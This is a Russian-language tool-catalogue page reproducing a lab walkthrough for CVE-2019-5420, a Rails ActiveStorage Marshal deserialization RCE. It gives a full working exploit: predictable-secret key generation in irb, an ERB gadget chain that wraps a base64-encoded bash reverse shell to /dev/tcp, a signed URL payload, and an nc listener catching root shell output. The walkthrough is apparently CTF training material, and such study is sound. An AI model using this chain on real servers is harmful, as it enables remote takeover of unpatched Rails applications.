Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
ruby-RCE-CVE-2019-5420- — Ruby反序列化命令执行漏洞(CVE-2019-5420)-vulfocus通关版 | Kitploit
Инструменты/GitHubGitHub/laffray/ruby-rce-cve-2019-5420-
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationPayload Development
GitHublaffray/ruby-rce-cve-2019-5420-

ruby-RCE-CVE-2019-5420-

Ruby反序列化命令执行漏洞(CVE-2019-5420)-vulfocus通关版

Репозиторий
54 лет назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Десериализация Ruby (CVE-2019-5420)

root@kitploit:~
https://github.com/PenTestical/CVE-2019-5420

Ссылки:

root@kitploit:~
[1] Процесс реализации полезной нагрузки для выполнения команд в Ruby on Rails
https://hackerone.com/reports/473888

Поскольку ActiveSupport::MessageVerifier и ActiveSupport::MessageEncryptor используют Marshal в качестве сериализатора по умолчанию, я подтвердил, что RCE возможен через инъекцию объектов.

root@kitploit:~
# https://github.com/rails/rails/blob/v5.2.2/activesupport/lib/active_support/message_verifier.rb#L110
    def initialize(secret, options = {})
      raise ArgumentError, "Secret should not be nil." unless secret
      @secret = secret
      @digest = options[:digest] || "SHA1"
      @serializer = options[:serializer] || Marshal
    end
root@kitploit:~
# https://github.com/rails/rails/blob/v5.2.2/activesupport/lib/active_support/message_encryptor.rb#L145
def initialize(secret, *signature_key_or_options)
  options = signature_key_or_options.extract_options!
  sign_secret = signature_key_or_options.first
  @secret = secret
  @sign_secret = sign_secret
  @cipher = options[:cipher] || self.class.default_cipher
  @digest = options[:digest] || "SHA1" unless aead_mode?
  @verifier = resolve_verifier
  @serializer = options[:serializer] || Marshal
end

Поскольку ActiveSupport::MessageVerifier и ActiveSupport::MessageEncryptor используют Marshal в качестве сериализатора по умолчанию, я подтвердил, что RCE возможен через инъекцию объектов.

root@kitploit:~
# https://github.com/rails/rails/blob/v5.2.2/activestorage/lib/active_storage/engine.rb#L81
initializer "active_storage.verifier" do
  config.after_initialize do |app|
    ActiveStorage.verifier = app.message_verifier("ActiveStorage")
  end
end
root@kitploit:~
# https://github.com/rails/rails/blob/v5.2.2/activestorage/app/controllers/active_storage/disk_controller.rb#L38
def decode_verified_key
  ActiveStorage.verifier.verified(params[:encoded_key], purpose: :blob_key)
end

Он также используется в ActiveStorage::Blob.find_signed. Кроме того, к этим URL-адресам можно получить доступ без использования Active Storage.

PoC

  1. Подготовка сервера. Обратите внимание, что необходимы ruby и rails соответствующих версий.
root@kitploit:~
$ ruby -v
ruby 2.6.0p0 (2018-12-25 revision 66547) [x86_64-darwin16]

$ rails -v
Rails 5.2.2

$ rails new verifier_rce
$ cd verifier_rce/
$ bundle install

Видно, что active_storage активен. При эксплуатации мы можем использовать маршрут /rails/active_storage/disk/.

root@kitploit:~
# Active Storage is not installed, but routes is usable
$ bin/rails routes
Prefix Verb URI Pattern                                                                              Controller#Action
rails_service_blob GET  /rails/active_storage/blobs/:signed_id/*filename(.:format)                               active_storage/blobs#show
rails_blob_representation GET  /rails/active_storage/representations/:signed_blob_id/:variation_key/*filename(.:format) active_storage/representations#show
rails_disk_service GET  /rails/active_storage/disk/:encoded_key/*filename(.:format)                              active_storage/disk#show
update_rails_disk_service PUT  /rails/active_storage/disk/:encoded_token(.:format)                                      active_storage/disk#update
rails_direct_uploads POST /rails/active_storage/direct_uploads(.:format)                                           active_storage/direct_uploads#create
  1. Подготовка эксплойт-полезной нагрузки.

(1) Загрузите контейнер среды: knqyf263/cve-2019-5420

root@kitploit:~
$ docker run --name cve-2019-5420 --rm -p 3000:3000 knqyf263/cve-2019-5420
$ docker exec -it cve-2019-5420 /bin/bash

(2) Создание полезной нагрузки.

root@kitploit:~
IP обратного соединения: XXX.XXX.XXX.XXX
Порт обратного соединения: XXXX

[1] Команда обратного соединения bash: bash -i >& /dev/tcp/XXX.XXX.XXX.XXX/XXXX 0>& 1

[2] --> (Base64.encode): YmFzaCAtaSA+XXXX

[3] Команда irb:
code: system('`echo YmFzaCAtaSA+XXXX | base64 -d | bash -i`')

[4] Преобразование в URL-полезную нагрузку для HTTP GET:
root@kitploit:~
# Вход в контейнер
root@cf0577a0cda5:/verifier_rce# bundle exec rails console
Running via Spring preloader in process 66998
Loading development environment (Rails 5.2.2)

irb(main):001:0> app_class_name = VerifierRce::Application.name
=> "VerifierRce::Application"

irb(main):002:0> secret_key_base = Digest::MD5.hexdigest(VerifierRce::Application.name)
=> "7e485df67863e85e584b3feecb22276d"

irb(main):003:0> key_generator = ActiveSupport::CachingKeyGenerator.new(ActiveSupport::KeyGenerator.new(secret_key_base, iterations: 1000))
=> #<ActiveSupport::CachingKeyGenerator:0x0000561192a31f48 @key_generator=#<ActiveSupport::KeyGenerator:0x0000561192a31f98 @secret="7e485df67863e85e584b3feecb22276d", @iterations=1000>, @cache_keys=#<Concurrent::Map:0x0000561192a31f20 entries=0 default_proc=nil>>

irb(main):004:0> secret = key_generator.generate_key("ActiveStorage")
=> "\xB09\x11u/6#\x04\xE6\x15\x9C_\xBB\xE8\x94\xD0pn<\xFD\x15\x85\x95\x8BR\x82\x13\xCA\xC3\xDE\xAEB\x98\xDA\v\xD6+jI\xE6\x80\x9E\xC8$e\xE8(\xD5\x98\x82\x1FVy1\x9D>R\xAE\x9D\xAE\x88\xF1\xBA,"

irb(main):005:0> verifier = ActiveSupport::MessageVerifier.new(secret)
=> #<ActiveSupport::MessageVerifier:0x0000561192a6c8c8 @secret="\xB09\x11u/6#\x04\xE6\x15\x9C_\xBB\xE8\x94\xD0pn<\xFD\x15\x85\x95\x8BR\x82\x13\xCA\xC3\xDE\xAEB\x98\xDA\v\xD6+jI\xE6\x80\x9E\xC8$e\xE8(\xD5\x98\x82\x1FVy1\x9D>R\xAE\x9D\xAE\x88\xF1\xBA,", @digest="SHA1", @serializer=Marshal, @options={}, @rotations=[]>

irb(main):012:0> code = '`echo YmFzaCAtaSA+XXXX | base64 -d | bash -i`'
=> "`echo YmFzaCAtaSA+XXXX | base64 -d | bash -i`"

irb(main):013:0> erb = ERB.allocate
=> #<ERB:0x0000561192b15e78>

irb(main):014:0> erb.instance_variable_set :@src, code
=> "`echo YmFzaCAtaSA+XXXXX | base64 -d | bash -i`"

irb(main):015:0> erb.instance_variable_set :@filename, "1"
=> "1"

irb(main):016:0> erb.instance_variable_set :@lineno, 1
=> 1

irb(main):017:0> dump_target  = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new erb, :result
base64: invalid input
# Следующая команда автоматически выполняется в контейнере. Мы не выполняем её, просто выходим Ctrl+C.
bash: cannot set terminal process group (211): Inappropriate ioctl for device 
bash: no job control in this shell
root@cf0577a0cda5:/verifier_rce# bash -i >& /dev/tcp/XXX.XXX.XXX.XXX/XXXX 0>& 1
root@cf0577a0cda5:/verifier_rce# exit
^CTraceback (most recent call last):

irb(main):019:0> verifier.generate(dump_target, purpose: :blob_key)
=> "eyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHZPa0JCWTNScGRtVlRkWEJ3YjNKME9qcEVaWEJ5WldOaGRHbHZiam82UkdWd2NtVmpZWFJsWkVsdWMzUmhibU5sVm1GeWFXRmliR1ZRY205NGVRazZEa0JwYm5OMFlXNWpaVzg2Q0VWU1FnZzZDVUJ6Y21OSklseGdaV05vYnlCWmJVWjZZVU5CZEdGVFFTdEthVUYyV2tkV01rd3pVbXBqUXpoNFRVUkZkVTE2VVhWT1ZFVjFUbnByZGs1VVZURk9VMEYzVUdsWlowMVJJSHdnWW1GelpUWTBJQzFrSUh3Z1ltRnphQ0F0YVdBR09nWkZSam9PUUdacGJHVnVZVzFsU1NJR01RWTdDVVk2REVCc2FXNWxibTlwQmpvTVFHMWxkR2h2WkRvTGNtVnpkV3gwT2dsQWRtRnlTU0lNUUhKbGMzVnNkQVk3Q1ZRNkVFQmtaWEJ5WldOaGRHOXlTWFU2SDBGamRHbDJaVk4xY0hCdmNuUTZPa1JsY0hKbFkyRjBhVzl1QUFZN0NWUT0iLCJleHAiOm51bGwsInB1ciI6ImJsb2Jfa2V5In19--3ef2b8bf66ead4e04e9a98f8c6e31d562fccfb86"
irb(main):020:0> root@cf0577a0cda5:/verifier_rce# exit
  1. Атака

На сервере обратного соединения XXX.XXX.XXX.XXX прослушиваем порт XXXX:

root@kitploit:~
[root@VM-0-4-centos ~]#  nc -lvvp 5555
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on :::5555
Ncat: Listening on 0.0.0.0:5555

Открываем URL:

root@kitploit:~
http://123.58.224.8:XXXXX/rails/active_storage/disk/eyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHZPa0JCWTNScGRtVlRkWEJ3YjNKME9qcEVaWEJ5WldOaGRHbHZiam82UkdWd2NtVmpZWFJsWkVsdWMzUmhibU5sVm1GeWFXRmliR1ZRY205NGVRazZEa0JwYm5OMFlXNWpaVzg2Q0VWU1FnZzZDVUJ6Y21OSklseGdaV05vYnlCWmJVWjZZVU5CZEdGVFFTdEthVUYyV2tkV01rd3pVbXBqUXpoNFRVUkZkVTE2VVhWT1ZFVjFUbnByZGs1VVZURk9VMEYzVUdsWlowMVJJSHdnWW1GelpUWTBJQzFrSUh3Z1ltRnphQ0F0YVdBR09nWkZSam9PUUdacGJHVnVZVzFsU1NJR01RWTdDVVk2REVCc2FXNWxibTlwQmpvTVFHMWxkR2h2WkRvTGNtVnpkV3gwT2dsQWRtRnlTU0lNUUhKbGMzVnNkQVk3Q1ZRNkVFQmtaWEJ5WldOaGRHOXlTWFU2SDBGamRHbDJaVk4xY0hCdmNuUTZPa1JsY0hKbFkyRjBhVzl1QUFZN0NWUT0iLCJleHAiOm51bGwsInB1ciI6ImJsb2Jfa2V5In19--3ef2b8bf66ead4e04e9a98f8c6e31d562fccfb86/test

Успешно получена обратная оболочка:

root@kitploit:~
[root@VM-0-4-centos ~]#  nc -lvvp 5555
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on :::5555
Ncat: Listening on 0.0.0.0:5555
Ncat: Connection from 123.58.224.9.
Ncat: Connection from 123.58.224.9:57890.
root@7c4e67a7ccea:/verifier_rce# ls /tmp
ls /tmp
flag-{bmh0b061f25-XXXX-XXXX-XXXX-3d351bd066fe}
Скачать инструмент